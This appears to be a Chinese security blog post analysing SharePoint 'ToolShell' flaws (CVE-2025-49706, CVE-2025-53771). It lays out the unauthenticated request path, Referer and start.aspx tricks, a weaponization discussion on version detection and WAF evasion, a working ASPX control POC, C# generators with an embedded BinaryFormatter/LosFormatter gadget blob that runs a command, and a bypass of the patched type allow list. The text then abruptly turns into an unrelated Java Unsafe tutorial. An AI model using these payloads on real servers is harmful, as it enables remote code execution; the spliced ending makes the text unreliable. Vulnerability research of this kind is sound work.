            <asp:ScriptManager id="ScriptManager" runat="server" EnablePageMethods="false" EnablePartialRendering="true" EnableScriptGlobalization="false" EnableScriptLocalization="true" />
        <WebPartPages:SPWebPartManager ID="SPWebPartManager" runat="server"/>
        <WebPartPages:WebPartZone runat="server" ID="ImportedPartZone" />
        <WebPartPages:ToolPane runat="server"/>
        <SharePoint:FormDigest runat="server"/>
    </form>
    </body>
</html>

其中主要的操作在Microsoft.SharePoint.WebPartPages类中

SelectedAspWebPart

image.png
这里会进入到GetPartPreviewAndPropertiesFromMarkup方法中

但是这里是有条件进入的,

if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
                    {

要求InCustomToolPaneDisplayModeEdit,所以我们需要传入DisplayMode=Edit来进行设置,

InCustomToolPane需要通过Utility.CheckForCustomToolpane的检查

image.png

        public static bool CheckForCustomToolpane(string pagePath)
        {
            bool result = false;
            if (pagePath != null)
            {
                result = (pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1 && pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase));
            }
            return result;
        }

要求pagePath中必须有/_layouts/,以/ToolPane.aspx结尾。

所以如果我们想要进入GetPartPreviewAndPropertiesFromMarkup函数,路径必须是/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx

在这个GetPartPreviewAndPropertiesFromMarkup函数中,

这里获取到一个documentDesigner

                documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

需要指定一个SharePoint的页面,继续看一下这个SharePoint的页面有什么要求

image.png

这里要求必须是_controltemplates/开头,.ascx结尾。

所以构造MSOTlPn_Uri=http://sharepoint/_controltemplates/15/AclEditor.ascx

接下来就会获取到MSOTlPn_DWP参数来继续构造组件。

会先实例化一个ServerElementMarkupSource

ServerElementMarkupSource serverElementMarkupSource = new ServerElementMarkupSource(text);

这部分相当于对我们传入的控件字符串进行一个解析处理。

image.png

接着会调用PageParser#CreateAndInitializeDocumentDesigner函数

documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(pageUri.AbsolutePath, manager.Web, pageUri.AbsolutePath, registerDirectiveDataList, markupOption, webApplication);

这里会初始化一个IServerDocumentDesigner对象,相当于一个ASP.NET的页面解析沙箱。

最后会进入到documentDesigner.CreateNestedElementDesigner函数中进行解析

IServerElementDesigner serverElementDesigner = documentDesigner.CreateNestedElementDesigner(serverElementMarkupSource, parentElement, 0, true);

其中会进入到一个ParseControlsInternalHelper函数中,在这个函数中会进行一个BuildObject的操作,从而触发到DataTable的构造函数其中的GetObjectFromCompressedBase64String函数

image.png

这部分的插件调用其实可以参考微软的官方文档

https://learn.microsoft.com/zh-cn/previous-versions/office/developer/sharepoint-2010/hh228018(v=office.14)

CVE-2025-49706

根据文章来看,发现漏洞的点在PostAuthenticateRequestHandler方法中

关键代码如下

if (!context.User.Identity.IsAuthenticated)
                {
                    if (flag5)
                    {
                        if (this.RequestPathIndex == SPRequestModule.PathIndex._layouts)
                        {
                            Uri uri2 = null;
                            try
                            {
                                uri2 = context.Request.UrlReferrer;
                            }
                            catch (UriFormatException)
                            {
                            }
                            if (uri2 != null)
                            {
                                string absolutePath = uri2.AbsolutePath;
                                if (SPRequestModule.s_LoginUrl == null)
                                {
                                    ULS.SendTraceTag(2470943U, ULSCat.msoulscat_WSS_Runtime, ULSTraceLevel.Unexpected, "LoginUrl is unset for request to '{0}'.", new object[]
                                    {
                                        SPAlternateUrl.ContextUri
                                    });
                                }
                                else if (absolutePath.EndsWith(SPRequestModule.s_LoginUrl, StringComparison.OrdinalIgnoreCase) && (text3.EndsWith(".css", StringComparison.OrdinalIgnoreCase) || text3.EndsWith(".js", StringComparison.OrdinalIgnoreCase)))
                                {
                                    context.SkipAuthorization = true;
                                }
                            }
                        }
                    }
                    else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }
                    else if (flag6)
                    {
                        HttpCookie httpCookie = context.Request.Cookies[SPSecurity.CookieWssKeepSessionAuthenticated];
                        HttpCookie httpCookie2 = context.Request.Cookies[SPSecurity.CookieWssKeepAuthenticated];
                        if ((httpCookie != null && SPUtility.StsCompareStrings(httpCookie.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue)) || (httpCookie2 != null && SPUtility.StsCompareStrings(httpCookie2.Value, SPRequestModule.s_KeepSessionAuthenticatedCookieValue) && !flag2))
                        {
                            SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                        }
                    }
                }

其重点就是flag7flag7是是否允许设置匿名访问,我们这里默认为false,所以会直接返回401

else if (!flag7 && settingsForContext != null && settingsForContext.UseClaimsAuthentication && !settingsForContext.AllowAnonymous)
                    {
                        if (flag3)
                        {
                            ULS.SendTraceTag(1431306U, ULSCat.msoulscat_WSS_ClaimsAuthentication, ULSTraceLevel.Medium, "Claims Windows Sign-In: Sending 401 for request '{0}' because the user is not authenticated and resource requires authentication.", new object[]
                            {
                                SPAlternateUrl.ContextUri
                            });
                        }
                        SPUtility.SendAccessDeniedHeader(new UnauthorizedAccessException());
                    }

但是我们可以看一下前面

bool flag7 = false;
                string text3 = context.Request.FilePath.ToLowerInvariant();
                if (flag6)
                {
                    Uri uri = null;
                    try
                    {
                        uri = context.Request.UrlReferrer;
                    }
                    catch (UriFormatException)
                    {
                    }
                    if (this.IsShareByLinkPage(context) || this.IsAnonymousVtiBinPage(context) || this.IsAnonymousDynamicRequest(context) || context.Request.Path.StartsWith(this.signoutPathRoot) || context.Request.Path.StartsWith(this.signoutPathPrevious) || context.Request.Path.StartsWith(this.signoutPathCurrent) || context.Request.Path.StartsWith(this.startPathRoot) || context.Request.Path.StartsWith(this.startPathPrevious) || context.Request.Path.StartsWith(this.startPathCurrent) || (uri != null && (SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathRoot) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathPrevious) || SPUtility.StsCompareStrings(uri.AbsolutePath, this.signoutPathCurrent))))
                    {
                        flag6 = false;
                        flag7 = true;
                    }
                }

其中如果referer

  • /_layouts/SignOut.aspx
  • /_layouts/14/SignOut.aspx
  • /_layouts/15/SignOut.aspx

image.png

则可以将flag7设置为true,从而允许匿名访问,不会立即发送401

我们的目标是访问toolpane.aspx,这并不会通过每个页面的检查,

SharePoint中使用的网页有一些基本类型,其中toolpane.aspx使用的是WebPartPage它将会在生命周期的某个时间内进行身份验证。

FormOnLoad事件中进行了身份检查,所以仍然会返回401

image.png

会进入到contextWeb.Request.RenderFormDigest(bstrUrl, spstringCallback);

image.png

那我们是怎么进入到GetPartPreviewAndPropertiesFromMarkup中的呢?

如果想要绕过OnLoad事件之前的鉴权,就需要在这个事件触发之前进入到GetPartPreviewAndPropertiesFromMarkup函数。

这里就涉及到了ASP.NET的生命周期

https://learn.microsoft.com/en-us/previous-versions/aspnet/ms178472(v=vs.100)#life-cycle-events

OnLoad事件之前,InitComplete事件之后,会自动触发GetPartPreviewAndPropertiesFromMarkup函数。

CVE-2025-53771

正是上面漏洞的一个绕过,正如卡巴斯基团队所分析的那样,使用ToolPane.aspx/就可以进行绕过

image.png

0x02 对武器化一些思考

第一点,部分武器化的利用代码,是检测了/_layouts/15/error.aspx来检测版本从而决定是否利用EXP,但是这并不对,因为我们在未开启匿名访问的时候,访问/_layouts/15/error.aspx401状态,

image.png

那我们应该检测什么呢?在看msf中的pr时,我发现有人提起start.aspx,碰巧在上面设置referer头的时候也看到了这个,

image.png

在这里,我们可以看到当访问start.aspx的时候,也会实现和referer头一样的效果。

image.png

或者我们在检测error.aspx的时候,加上referer头设置匿名访问。

image.png

第二点,在反序列化的利用过程中,我在测试的时候发现了另外一种反序列化的利用方式,当我们开启两种登录模式的时候,

image.png

此时我们访问页面就变成了这样的(这里仍然是未开启匿名访问),

image.png

我们不添加referer头仍然可以攻击成功。

image.png

那这里有什么用呢?或许对某些绕waf有一点作用。

第三点,可能是因为我安装的sharepoint版本高一些,服务器对User—Agent进行了严格的检测,如果不添加是没有办法攻击成功的。

image.png

0x03 POC的构造

我们先来看一下上面能打通的POC

<%@ Register Tagprefix="iabkxcni" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="obsajjosoict" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
  <iabkxcni:UpdateProgress>
    <ProgressTemplate>
      <obsajjosoict:ExcelDataSet CompressedDataTable="...." DataTable-CaseSensitive="true" runat="server"/>
    </ProgressTemplate>
  </iabkxcni:UpdateProgress>

其重点就是需要去构造CompressedDataTable数据,通过上面的分析可以知道CompressedDataTable的数据是BinaryFormatter反序列化的数据。

所以这里我们直接构造

using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Services.Internal;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization.Formatters.Binary;
using System.Web.UI;
using System.Windows.Data;

namespace SharePointPoc
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var losFormatter = new LosFormatter();
            var odp = new ObjectDataProvider
            {
                ObjectInstance = losFormatter,
                MethodName = "Deserialize",
            };
            odp.MethodParameters.Add("/wEywhEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACS9jIHdpbnZlcgYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL");
            var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(LosFormatter), typeof(ObjectDataProvider));
            dynamic wrapper = Activator.CreateInstance(wrapperType);
            wrapper.ExpandedElement = losFormatter;
            wrapper.ProjectedProperty0 = odp;

            var listType = typeof(List<>).MakeGenericType(wrapperType);
            dynamic list = Activator.CreateInstance(listType);
            list.Add(wrapper);

            DataTable dt = new DataTable("hehe");
            dt.Columns.Add("pwn", listType);
            dt.Rows.Add(list);
            DataSet ds = new DataSet("somedataset");
            ds.Tables.Add(dt);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
                {
                    BinaryFormatter formatter = new BinaryFormatter();
                    formatter.Serialize(gzipStream, ds); 
                }

                // 获取压缩数据并转换成 Base64 字符串
                byte[] compressedData = memoryStream.ToArray();
                string payload = Convert.ToBase64String(compressedData);
                Console.WriteLine(payload);
            }

            }
        }
    }

其中LosFormatter.Deserialize反序列化的内容是TypeConfuseDelegate链子

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c winver -o base64

将生成的内容填入CompressData

image.png

0x04 写在最后

在复现漏洞的时候,我并没有看到文章中所说的DataSetSurrogateSelector选择器,我猜测这个选择器是打了CVE-2020-1147的补丁。

https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1147

0x05 DataSetSurrogateSelector选择器

在我打了补丁之后,发现之前的POC已经打不通了,在文章中很详细的给出了其过滤规则,

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

利用了自写的BinarySerialization.Deserialize

image.png

先是利用了LimitingBinder做了限制

private sealed class LimitingBinder : SerializationBinder
        {
            // Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
            internal LimitingBinder(IEnumerable<Type> extraTypes)
            {
                this._allowedTypeMap = new TypeMap();
                this._allowedTypeMap.Add(typeof(DataSet));
                this._allowedTypeMap.Add(typeof(DataTable));
                this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
                this._allowedTypeMap.Add(typeof(Version));
                if (extraTypes != null)
                {
                    foreach (Type type in extraTypes)
                    {
                        if (type != null && !(type == typeof(DataSet)) && !(type == typeof(DataTable)))
                        {
                            if (typeof(DataSet).IsAssignableFrom(type) || typeof(DataTable).IsAssignableFrom(type))
                            {
                                throw new ArgumentException("");
                            }
                            this._allowedTypeMap.Add(type);
                        }
                    }
                }
            }

这里可以看到拥有DataSet所以不需要关心,之后便会进入到DataSetSurrogateSelector选择器。

public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
            {
                Type type = obj.GetType();
                Type baseType = type.BaseType;
                if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable)))
                {
                    return null;
                }
                SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
                string @string = info.GetString("XmlSchema");
                if (@string != null)
                {
                    this._validator.ValidateXml(@string);
                    serializationInfo.AddValue("XmlSchema", @string);
                }
                string string2 = info.GetString("XmlDiffGram");
                if (string2 != null)
                {
                    this._validator.ValidateXml(string2);
                    serializationInfo.AddValue("XmlDiffGram", string2);
                }
                ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[]
                {
                    typeof(SerializationInfo),
                    typeof(StreamingContext)
                }, null);
                if (constructor != null)
                {
                    constructor.Invoke(obj, new object[]
                    {
                        serializationInfo,
                        context
                    });
                }
                return obj;
            }

这里会提取出SerializationInfo中的XmlSchemaXmlDiffGram,然后使用XmlValidator来验证信息。

        // Token: 0x06000063 RID: 99 RVA: 0x00003A74 File Offset: 0x00001C74
        private void ValidateXml(XDocument document)
        {
            foreach (XElement xelement in document.Descendants())
            {
                foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute.Value);
                }
                foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute2.Value);
                }
                foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))
                {
                    this.ValidateExpressionIsAllowed(xattribute3.Value);
                }
            }
        }

验证DataTypeInstanceTypeExpression不在允许列表中,XmlValidator就会抛出异常。

        private void ValidateTypeIsAllowed(string fullTypeName)
        {
            TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);
            if (!this.IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText))
            {
                this.ThrowInvalidTypeException(fullTypeName);
            }
        }

允许列表如下,

internal static class DefaultAllowList
    {
        // Token: 0x04000004 RID: 4
        internal static Type[] Members = new Type[]
        {
            typeof(bool),
            typeof(char),
            typeof(sbyte),
            typeof(byte),
            typeof(short),
            typeof(ushort),
            typeof(int),
            typeof(uint),
            typeof(long),
            typeof(ulong),
            typeof(float),
            typeof(double),
            typeof(decimal),
            typeof(DateTime),
            typeof(DateTimeOffset),
            typeof(TimeSpan),
            typeof(string),
            typeof(Guid),
            typeof(SqlBinary),
            typeof(SqlBoolean),
            typeof(SqlByte),
            typeof(SqlBytes),
            typeof(SqlChars),
            typeof(SqlDateTime),
            typeof(SqlDecimal),
            typeof(SqlDouble),
            typeof(SqlGuid),
            typeof(SqlInt16),
            typeof(SqlInt32),
            typeof(SqlInt64),
            typeof(SqlMoney),
            typeof(SqlSingle),
            typeof(SqlString),
            typeof(object),
            typeof(Uri),
            typeof(Color),
            typeof(Point),
            typeof(PointF),
            typeof(Rectangle),
            typeof(RectangleF),
            typeof(Size),
            typeof(SizeF)
        };
    }

是一些和RCE毫不相关的类型,这里我们注意到TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);会对传入的类型名称作解析。

// Token: 0x06000054 RID: 84 RVA: 0x000036C0 File Offset: 0x000018C0
        public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
        {
            assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null);
            if (string.IsNullOrEmpty(assemblyQualifiedName))
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            int num = 0;
            for (int i = 0; i < assemblyQualifiedName.Length; i++)
            {
                char c = assemblyQualifiedName[i];
                if (c != ',')
                {
                    checked
                    {
                        switch (c)
                        {
                        case '[':
                            num++;
                            break;
                        case ']':
                            num--;
                            break;
                        }
                    }
                }
                else if (num == 0)
                {
                    string typeName = assemblyQualifiedName.Substring(0, i).Trim();
                    string text = assemblyQualifiedName.Substring(i + 1);
                    string[] array = text.Split(new char[]
                    {
                        ','
                    });
                    if (array[0].IndexOf('=') >= 0)
                    {
                        throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                    }
                    for (i = 1; i < array.Length; i++)
                    {
                        string text2 = array[i].Trim();
                        if (!text2.StartsWith("Version=", StringComparison.Ordinal) && !text2.StartsWith("Culture=", StringComparison.Ordinal) && !text2.StartsWith("PublicKeyToken=", StringComparison.Ordinal))
                        {
                            throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                        }
                    }
                    return new TypeInAssembly(typeName, new AssemblyName(text));
                }
            }
            if (num != 0)
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            Type type;
            TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type);
            type = (type ?? typeof(object));
            return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
        }

在这里检查类型的时候,只会检查[]外边的部分,检查类型名称是否包含逗号,,然后提取类型名称并返回它。

但是当类型名称没有,或者在[]外面没有,的时候,会从_defaultSimpleNameMappings获取类型。如果在其中没有的话,则该类型将转换为object,而object是包含在允许的列表当中的。

因此我们可以通过XmlValidator

所以我们可以构造

System.Collections.Generic.List`1[[<any type, any assembly name>]]

来绕过限制,因为System.Collections.Generic.Listmscorlib中,所以我们不需要指定程序集名称部分。

构造出最终的payload

using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
public class Program
{
    public static void Main()
    {

        CustomPayload customPayload = new CustomPayload();
        byte[] binaryPayload;
        using (MemoryStream ms = new MemoryStream())
        {
            BinaryFormatter formatter = new BinaryFormatter();
            formatter.Serialize(ms,customPayload);
            binaryPayload = ms.ToArray();
        }

        string base64Payload = Convert.ToBase64String(CompressPayload(binaryPayload));

        Console.WriteLine("--- 生成的 BinaryFormatter Base64  ---");
        Console.WriteLine(base64Payload);
    }
    public static byte[] CompressPayload(byte[] payload)
    {
        using (MemoryStream memoryStream = new MemoryStream())
        {
            using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
            {
                gzipStream.Write(payload, 0, payload.Length);
            }

            return memoryStream.ToArray();
        }
    }
}
[Serializable]
public class CustomPayload : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("XmlSchema", "<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"dataset\">\r\n    <xs:element name=\"dataset\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\r\n        <xs:complexType>\r\n            <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\r\n                <xs:element name=\"test\">\r\n                    <xs:complexType>\r\n                        <xs:sequence>\r\n                            <xs:element name=\"pwn\" msdata:DataType=\"System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\r\n                        </xs:sequence>\r\n                    </xs:complexType>\r\n                </xs:element>\r\n            </xs:choice>\r\n        </xs:complexType>\r\n    </xs:element>\r\n</xs:schema>");
        info.AddValue("XmlDiffGram", "<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\r\n        <dataset>\r\n            <test diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\r\n                <pwn xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n                    <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\r\n                    <ExpandedElement/>\r\n                    <ProjectedProperty0>\r\n                        <MethodName>Deserialize</MethodName>\r\n                        <MethodParameters>\r\n                            <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">{base64payload}</anyType>\r\n                    </MethodParameters>\r\n                    <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\r\n            </ProjectedProperty0>\r\n        </ExpandedWrapperOfLosFormatterObjectDataProvider>\r\n                </pwn>\r\n            </test>\r\n        </dataset>\r\n    </diffgr:diffgram>");
    }
}

介绍

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。

这个类尽管里面的方法都是 public 的,但是并没有办法使用它们,JDK API 文档也没有提供任何关于这个类的方法的解释。总而言之,对于 Unsafe 类的使用都是受限制的,只有授信的代码才能获得该类的实例,当然 JDK 库里面的类是可以随意使用的。

先来看下这张图,对UnSafe类总体功能:

如上图所示,Unsafe提供的API大致可分为内存操作、CAS、Class相关、对象操作、线程调度、系统信息获取、内存屏障、数组操作等几类,下面将对其相关方法和应用场景进行详细介绍。

内存操作

介绍

如果你是一个写过 C 或者 C++ 的程序员,一定对内存操作不会陌生,而在 Java 中是不允许直接对内存进行操作的,对象内存的分配和回收都是由 JVM 自己实现的。但是在 Unsafe 中,提供的下列接口可以直接进行内存操作:

//分配新的本地空间
public native long allocateMemory(long bytes);
//重新调整内存空间的大小
public native long reallocateMemory(long address, long bytes);
//将内存设置为指定值
public native void setMemory(Object o, long offset, long bytes, byte value);
//内存拷贝
public native void copyMemory(Object srcBase, long srcOffset,Object destBase, long destOffset,long bytes);
//清除内存
public native void freeMemory(long address);

使用下面的代码进行测试:

private void memoryTest() {
    int size = 4;
    long addr = unsafe.allocateMemory(size);
    long addr3 = unsafe.reallocateMemory(addr, size * 2);
    System.out.println("addr: "+addr);
    System.out.println("addr3: "+addr3);
    try {
        unsafe.setMemory(null,addr ,size,(byte)1);
        for (int i = 0; i < 2; i++) {
            unsafe.copyMemory(null,addr,null,addr3+size*i,4);
        }
        System.out.println(unsafe.getInt(addr));
        System.out.println(unsafe.getLong(addr3));
    }finally {
        unsafe.freeMemory(addr);
        unsafe.freeMemory(addr3);
    }
}

先看结果输出:

addr: 2433733895744
addr3: 2433733894944
16843009
72340172838076673

分析一下运行结果,首先使用allocateMemory方法申请 4 字节长度的内存空间,调用setMemory方法向每个字节写入内容为byte类型的 1,当使用 Unsafe 调用getInt方法时,因为一个int型变量占 4 个字节,会一次性读取 4 个字节,组成一个int的值,对应的十进制结果为 16843009。

你可以通过下图理解这个过程:

